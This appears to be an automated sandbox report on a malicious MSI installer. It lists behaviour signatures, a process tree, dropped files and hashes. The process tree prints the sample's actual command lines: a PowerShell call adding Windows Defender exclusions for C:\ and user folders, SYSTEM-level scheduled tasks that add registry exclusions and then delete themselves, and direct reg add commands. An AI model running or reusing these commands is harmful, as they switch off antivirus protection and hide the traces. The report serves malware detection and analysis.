Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 02:48

General

  • Target
    install_mal003.msi
  • Size 5.8MB
  • Sample260731-dav4jascpb
  • SHA256 75f4a26f03ce4de007b170cb7b38a9f9e91dab154e2e3bd9017a67d9002f092d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal003.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3672
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3320
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 1CA7DC551B59B5B93814C8F0CBDD2DA1 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:4908
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:3232
  • C:\Users\Public\Yohd1M\Vf2bi9.exe
    "C:\Users\Public\Yohd1M\Vf2bi9.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1468
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Yohd1M\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4144
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Yohd1M\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1332
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5476
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1736
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:2484
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2148
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:6056
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2296
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:5040
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2960
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3728
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5588
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4176
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2544
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2716
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Yohd1M" /t REG_DWORD /d 0 /f
                  1⤵
                  • Executes a command shell one-liner
                  PID:1780
                  • C:\Windows\System32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Yohd1M" /t REG_DWORD /d 0 /f
                    2⤵
                      PID:3888
                  • C:\Windows\system32\cmd.exe
                    cmd.exe
                    1⤵
                      PID:1764
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:2324
                      • C:\Windows\System32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        2⤵
                          PID:984
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:1336
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:4384

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            e598cc6.rbs

                            • Path C:\Config.Msi\e598cc6.rbs
                            • Size 7KB
                            • SHA256 3ccf7de6579bcbac61adb81369b8ab748536490bd0e097cb83c7f4b3261a1a84
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            UxEnhance64.dll

                            • Path C:\Users\Public\Yohd1M\UxEnhance64.dll
                            • Size 3.1MB
                            • SHA256 7226a745adbd23cc7b3e4fd69081c6dd437cef987b4aeaa7b87146807badb2e0
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Vf2bi9.exe

                            • Path C:\Users\Public\Yohd1M\Vf2bi9.exe
                            • Size 135KB
                            • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            adoresd.dat

                            • Path C:\Users\Public\Yohd1M\adoresd.dat
                            • Size 4.8MB
                            • SHA256 d6af3dcc77f554dae7ee219e6497e547540d80aedfd2004e9d056f2324c8a392
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            msadox.tb

                            • Path C:\Users\Public\Yohd1M\msadox.tb
                            • Size 8KB
                            • SHA256 d6cd925071e1b11d7b074db7dec6ce096617108d7f123de42f980ff655b16d13
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            MSI93CB.tmp

                            • Path C:\Windows\Installer\MSI93CB.tmp
                            • Size 5.8MB
                            • SHA256 d4f0a7d05fd811fd2c9eeadb14696a445dc7b0735471390333aa464420f8f2b6
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            e598cc5.msi

                            • Path C:\Windows\Installer\e598cc5.msi
                            • Size 5.8MB
                            • SHA256 75f4a26f03ce4de007b170cb7b38a9f9e91dab154e2e3bd9017a67d9002f092d
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            metadata-2

                            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                            • Size 26.1MB
                            • SHA256 50badc1974d8a6110d2641def28998f71fd89542d520d1e1990682269ad635c1
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            {100f5f3d-c597-481c-84f7-9b5fc502cf3c}_OnDiskSnapshotProp

                            • Path \??\Volume{cb180e94-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{100f5f3d-c597-481c-84f7-9b5fc502cf3c}_OnDiskSnapshotProp
                            • Size 6KB
                            • SHA256 2bb503a7bbf7733e711f1a66ae1a654b38104f80cc634b1e42823461ad2961f5
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/1468-110-0x000001D398A40000-0x000001D398AF2000-memory.dmp

                            memory/1468-109-0x000001D398A20000-0x000001D398A3E000-memory.dmp

                            memory/1468-104-0x000001D3FF980000-0x000001D3FF9A2000-memory.dmp

                            memory/3400-61-0x00007FFFD26E0000-0x00007FFFD26E2000-memory.dmp

                            memory/3400-79-0x00000226FDA70000-0x00000226FDABE000-memory.dmp

                            memory/3400-53-0x00007FFFD26D0000-0x00007FFFD26D2000-memory.dmp

                            memory/3400-59-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-90-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-66-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-62-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-67-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-68-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-69-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-73-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-54-0x00007FFFAF2B0000-0x00007FFFAF7CE000-memory.dmp

                            memory/3400-84-0x00000226FEE40000-0x00000226FEECA000-memory.dmp

                            memory/3400-83-0x00000226FEE40000-0x00000226FEECA000-memory.dmp

                            memory/3400-82-0x00000226FEE40000-0x00000226FEECA000-memory.dmp

                            memory/3400-81-0x00000226FEE40000-0x00000226FEECA000-memory.dmp

                            memory/3400-87-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/3400-89-0x00000226FE580000-0x00000226FEE3E000-memory.dmp

                            memory/4908-39-0x00007FFFBAB00000-0x00007FFFBAB12000-memory.dmp

                            memory/4908-18-0x00007FFFBAB00000-0x00007FFFBAB12000-memory.dmp

                            memory/4908-15-0x00007FFFAF1A0000-0x00007FFFAF7C9000-memory.dmp

                            memory/4908-14-0x00007FFFD26D0000-0x00007FFFD26D2000-memory.dmp